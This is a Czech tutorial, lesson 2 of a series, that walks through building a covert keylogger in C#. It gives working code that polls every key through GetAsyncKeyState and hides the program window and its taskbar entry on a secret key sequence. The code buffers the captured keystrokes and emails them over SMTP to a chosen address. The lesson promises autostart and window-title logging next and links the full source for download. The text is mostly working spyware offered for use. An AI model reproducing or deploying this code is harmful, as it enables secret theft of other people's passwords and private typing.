Lekce 2 - Jednoduchý KeyLogger v C# - Zachytávání kláves
V minulém tutoriálu jsme si připravili formulář a základní kód pro tvorbu jednoduchého KeyLoggeru.
Dnes budeme pokračovat a to vytvořením třídy pro zachytávání kláves. Nazveme ji"Key". V této třídě budeme zachytávat a nahrazovat znaky. Kód bude vysvětlen formou komentářů.using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Runtime.InteropServices; using System.Windows.Forms; namespace KeyLogger { public static class Key { // Deklarujeme WinAPI metodu GetAsyncKeyState knihovny user32.dll, která vrací aktuálně stisknutou klávesu [DllImport("User32.dll")] // budeme používat tuto knihovnu private static extern short GetAsyncKeyState(int vKey); /* Metoda pro nahrazování znaků. * KeyLogger vrací například po stitku mezery slovo "Space", tato metoda * se postará o to, aby nahradila slovo Space jiným textem, v naše případě * se slova "Space" nahradí skutečnou mezerou, tedy " ". * Tato "tabulka" byla stažená ze zdroje: http://www.zive.cz/clanky/stante-se-programatorem-spion-ktery-vi-co-pisete/sc-3-a-143551/default.aspx */ public static string ReplaceChars(string text) { text = text.Replace("Space", " "); text = text.Replace("Delete", "<Del>"); text = text.Replace("LShiftKey", ""); text = text.Replace("ShiftKey", ""); text = text.Replace("OemQuotes", "!"); text = text.Replace("Oemcomma", "?"); text = text.Replace("D8", "á"); text = text.Replace("D2", "ě"); text = text.Replace("D3", "š"); text = text.Replace("D4", "č"); text = text.Replace("D5", "ř"); text = text.Replace("D6", "ž"); text = text.Replace("D7", "ý"); text = text.Replace("D9", "í"); text = text.Replace("D0", "é"); text = text.Replace("Back", "<=="); text = text.Replace("LButton", ""); text = text.Replace("RButton", ""); text = text.Replace("NumPad", ""); text = text.Replace("OemPeriod", "."); text = text.Replace("OemSemicolon", ","); text = text.Replace("Oem4", "/"); text = text.Replace("LControlKey", ""); text = text.Replace("ControlKey", "<CTRL>"); text = text.Replace("Enter", "<ENT>"); text = text.Replace("Shift", ""); return text; } // zde probíhá samotné zachytávání znaků public static string GetBuffKeys() { string buffer = ""; foreach (System.Int32 i in Enum.GetValues(typeof(Keys))) { if (GetAsyncKeyState(i) == -32767) // pokud je hodnota GetAsyncKeyState rovna -32767 (hodnota pro stisk klávesy. Jsou zde i hodnoty pro držení klávesy, uvolnění a podobně.), tak buffer += Enum.GetName(typeof(Keys), i); //do bufferu přidej stisklou klávesu } return buffer; // vrátí řetězec } } }
Tak, před několika okamžiky jsme vytvořili metodu, která nám
zpracovává stisky kláves. Nyní je čas tuto metodu použít Použijeme ji v timeru
tCheckKey
private void tCheckKey_Tick(object sender, EventArgs e) { tbLog.Text += Key.GetBuffKeys(); // Přidám do textBoxu stiklou klávesu tbLog.Text = Key.ReplaceChars(tbLog.Text); // Pozměním nějaké znaky, jako "space" za " " a pod }
Je čas začít náš KeyLogger skrývat. Budeme jej chtít skrývat například při rychlém stisku kláves "123" a odkrývat při rychlém stisku kláves "456". Použijeme tedy timer tCheckHide
private void tCheckHide_Tick(object sender, EventArgs e) { if (tbLog.Text == "123") // pokud bude v okně text, který si uživatel zvolil pro skrytí, { this.Hide(); // skryj okno this.ShowInTaskbar = false; // skryj ho i z lišty } else if (tbLog.Text == "456") // pokud bude v okně text, který si uživatel zvolil pro odkrytí, { this.Show(); // odkrej okno this.ShowInTaskbar = true; // ukaž program na liště } }
Teď už program můžete spustit Jak vidíte, záznamy kláves nám při kliknutí na tlačítko
Start fungují skvěle, avšak vám nepůjde skrýt a odkrýt KeyLogger,
pokud již budete mít nějaký text v poli pro text, tedy v TextBoxu. Ptáte se
proč? Podívejte se na předchozí kód. Vídíte, že skrytí proběhne, je-li
v textBoxu kód pro skrytí samostatně. Tedy textBox nesmí obsahovat žádné
jiné znaky, pouze "123". A proto zde máme třetí timer tClearField. V
tomto timeru se postaráme o vyprazdňování textBoxu a ukládání záznamu do
nějaké proměnné. Proměnnou je třeba vytvořit mimo událost timeru. Takže
každou sec se nám vyprázdní textBox a jeho obsah se uloží do nějaké
proměnné.
string sBuffer = ""; private void tClearField_Tick(object sender, EventArgs e) { sBuffer += tbLog.Text; // Do Bufferu přidám to, co je v okně tbLog.Text = ""; // vymazu okno }
A je to, v současné době máte funkční KeyLogger. Má to však ještě
jeden malý háček. Záznam se nám nikam neukládá/neposílá. Takže je nám
to zatím celé je pro okrasu. Pojďme si tedy vytvořit třídu pro
odesílání emailu. Nazvěme
ji třeba Email.
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Net.Mail; using System.Net; namespace KeyLogger { public class Email { public static void SendLog(string SMTP, string Port, string User, string Pass, string Adress, string Topic, string Log) { MailMessage mail = new MailMessage(); mail.From = new MailAddress(User); mail.To.Add(new MailAddress(Adress)); mail.Subject = Topic; mail.Body = Log; SmtpClient klient = new SmtpClient(SMTP, int.Parse(Port)); klient.Credentials = new NetworkCredential(User, Pass); klient.EnableSsl = false; klient.Send(mail); } } }
Teď už je odesílání emailu správně použít. Upravíme si tedy ještě timer tClearField a doplníme jej o kód pro odeslání.
private void tClearField_Tick(object sender, EventArgs e) { sBuffer += tbLog.Text; // Do Bufferu přidám to, co je v okně tbLog.Text = ""; // vymazu okno // Pokud je délka delší, než požadovaná délka if (sBuffer.Length > 300) // je lepší to mít větší, já používám min 5000. { // odešleme email Email.SendLog("smtp.gmail.com", "587", "[email protected]", "vaseHesloProOdesilaciEmail", "[email protected]", "TemaEmailu (nadpis)", sBuffer); sBuffer = ""; // po odeslání vyprázdníme buffer } }
A je to, nyní máte funkční KeyLogger. Můžeme si jej ještě vylepšit o
možnost zapínání po startu Windows a také o přehlednost. Tedy, abychom
věděli v jakém okně byl text psán Na to se podíváme Příště.
Měl jsi s čímkoli problém? Stáhni si vzorovou aplikaci níže a porovnej ji se svým projektem, chybu tak snadno najdeš.
Stáhnout
Stažením následujícího souboru souhlasíš s licenčními podmínkami
Staženo 1174x (75.28 kB)
Aplikace je včetně zdrojových kódů v jazyce C#